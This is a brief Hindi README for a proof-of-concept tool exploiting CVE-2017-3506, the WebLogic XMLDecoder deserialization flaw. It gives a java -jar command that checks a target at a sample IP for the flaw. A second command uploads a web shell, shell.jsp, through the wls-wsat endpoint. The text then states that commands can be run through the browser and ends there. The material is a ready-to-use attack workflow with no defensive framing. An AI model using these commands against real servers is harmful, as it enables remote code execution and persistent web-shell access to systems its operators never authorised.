CVE-2017-3506

यह क्या है?

यह CVE-2017-3506 (Weblogic XMLDecoder Serialization) का एक poc है।

इसका उपयोग कैसे करें?

भेद्यता जांच

java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001

GetShell

java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp

फिर आप ब्राउज़र के माध्यम से कमांड निष्पादित कर सकते हैं: